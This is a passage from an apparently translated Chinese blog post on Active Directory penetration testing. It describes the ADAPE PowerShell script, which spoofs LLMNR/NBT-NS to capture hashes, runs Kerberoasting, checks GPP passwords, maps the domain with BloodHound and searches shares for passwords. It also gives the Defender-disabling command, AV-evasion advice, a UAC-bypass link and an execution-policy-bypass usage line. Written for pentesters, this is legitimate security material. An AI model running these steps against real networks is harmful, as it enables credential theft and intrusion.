PowerShell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 

由于包含了所有必需的脚本,因此不需要访问到Internet,而是将结果存储在可导出的capture.zip文件中。

Active Directory渗透测试典型案例 随笔 第105张

 

Active Directory渗透测试典型案例 随笔 第106张错误消息是正常的,除非它被中断。然后给出错误报告。 Active Directory渗透测试典型案例 随笔 第107张 Active Directory渗透测试典型案例 随笔 第108张寻找GPP密码,Kerberoasting和运行Bloodhound Active Directory渗透测试典型案例 随笔 第109张 Active Directory渗透测试典型案例 随笔 第110张                               检查privesc,然后删除它创建的文件并压缩捕获文件

如果打开捕获文件,您将获得所有结果

Active Directory渗透测试典型案例 随笔 第111张

Active Directory渗透测试典型案例 随笔 第112张

同样,无论如何,这并不全面。这只是我多年来成功使用的一些工具和攻击,所以至少有一种是可行的。在第三部分中,我将讨论后期利用和权限持久性。

Active Directory评估和权限提升脚本使用方法:

首先我要说的是,我完全不相信这个脚本中使用的模块。非常感谢Tim Medin,Kevin Robertson,Marcello Salvati,Will Schroeder以及Spectre Ops团队的其他成员提供本脚本中使用的模块。最后,感谢Daniel Bohannon编写的Invoke-Obfuscation,它用于混淆此脚本中的所有模块。我只是将它们组合在一起的那个人。

在我的参与和评估中,我经常运行一些PowerShell脚本来帮助识别下一个目标,检查错误的组策略设置,AD错误配置,缺少补丁等。此脚本结合了我经常使用的脚本并自动运行我在这些脚本中使用的功能,将结果输出到zip文件中。

该脚本将执行以下操作:

•通过WPAD,LLMNR和NBT-NS欺骗收集哈希值

•检查GPP密码(MS14-025)

•通过Kerberoast为帐户收集哈希值

•绘制域并通过BloodHound识别目标

•检查权限提升方法

•在网络上搜索开放的SMB共享

•在这些共享和其他可访问目录中搜索敏感文件和字符串(密码、PII或您真正想要的任何内容)。默认情况下,它在寻找“密码”的关键字。例如,如果您想搜索CVV关键字,只需将其添加到“password(密码)”旁边,例如password(密码),cvv

•检查网络上的系统补丁

•搜索附属股份

•搜索文件服务器

•收集域策略

这个脚本完全可以独立运行,而根本不使用互联网。所需的所有脚本都是混淆的PowerShell并包含在内,因此它应该绕过大多数基本的AV防御解决方案。默认情况下,它将关闭Windows Defender。如果opsec让您担心(例如目标在Defender关闭时配置了警报),那么你可以在第34行的“Set-MpPreference -DisableRealtimeMonitoring $ true”之前加上'#'进行注释它。

它使用以下模块:

Inveigh - https://github.com/Kevin-Robertson/Inveigh/blob/master/Scripts/Inveigh.ps1

Kerberoast - https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

Bloodhound - https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.exe

Get-GPPP - https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Get-GPPPassword.ps1

PowerUp - https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

PowerView - https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

该脚本将要求以管理员身份运行,,因为它需要这样做。如果您没有管理员权限,它将只运行权限提升模块。如果您被UAC阻止,我建议您运行绕过UAC脚本

https://raw.githubusercontent.com/samratashok/nishang/master/Escalation/Invoke-PsUACme.ps1

运行.ps1之后,它将在正在运行的同一文件夹中创建捕获文件并将其压缩。在脚本结束时,它会删除它创建的所有文件夹(显然除了.zip文件外)。

GPP密码检查和搜索敏感文件需要一段时间,因此,如果这个脚本需要很长时间才能完成,请不要惊讶,这取决于您要搜索的域控制器、开放共享和字符串的数量。如果运行时间太长,请将这些部分注释掉。

用法:PowerShell.exe  -ExecutionPolicy  Bypass  ./ADAPE.ps1

 

0x04  参考文献

https://hausec.com/2018/10/05/windows-privilege-escalation-via-unquoted-service-paths/

https://hausec.com/2018/10/12/the-rise-of-c-and-using-kali-as-a-c2-server-with-silenttrinity/

https://github.com/BloodHoundAD/BloodHound

https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/

https://github.com/fox-it/BloodHound.py

https://www.ernw.de/download/BloodHoundWorkshop/ERNW_DogWhispererHandbook.pdf

https://github.com/GoFetchAD/GoFetch

https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py

https://www.blackhillsinfosec.com/a-toast-to-kerberoast/

https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/

https://github.com/GhostPack/Rubeus

https://github.com/GhostPack/Rubeus#asreproast

https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/

https://github.com/dirkjanm/PrivExchange

https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

https://www.varonis.com/blog/kerberos-attack-silver-ticket/

https://posts.specterops.io/a-case-study-in-wagging-the-dog-computer-takeover-2bcb7f94c783

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

https://github.com/Kevin-Robertson/Powermad

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

https://www.youtube.com/watch?v=RUbADHcBLKg

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be

https://github.com/byt3bl33d3r/CrackMapExec

https://github.com/danielbohannon/Invoke-Obfuscation

https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/

https://github.com/hausec/ADAPE-Script

https://github.com/SpiderLabs/Responder

https://github.com/Kevin-Robertson/Inveigh

https://hashkiller.co.uk/Tools/HashcatGUI

https://github.com/fox-it/mitm6

https://hausec.com/how-to-set-up-ntlmrelayx-py/

https://github.com/byt3bl33d3r/CrackMapExec

https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

https://github.com/hausec/ADAPE-Script

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄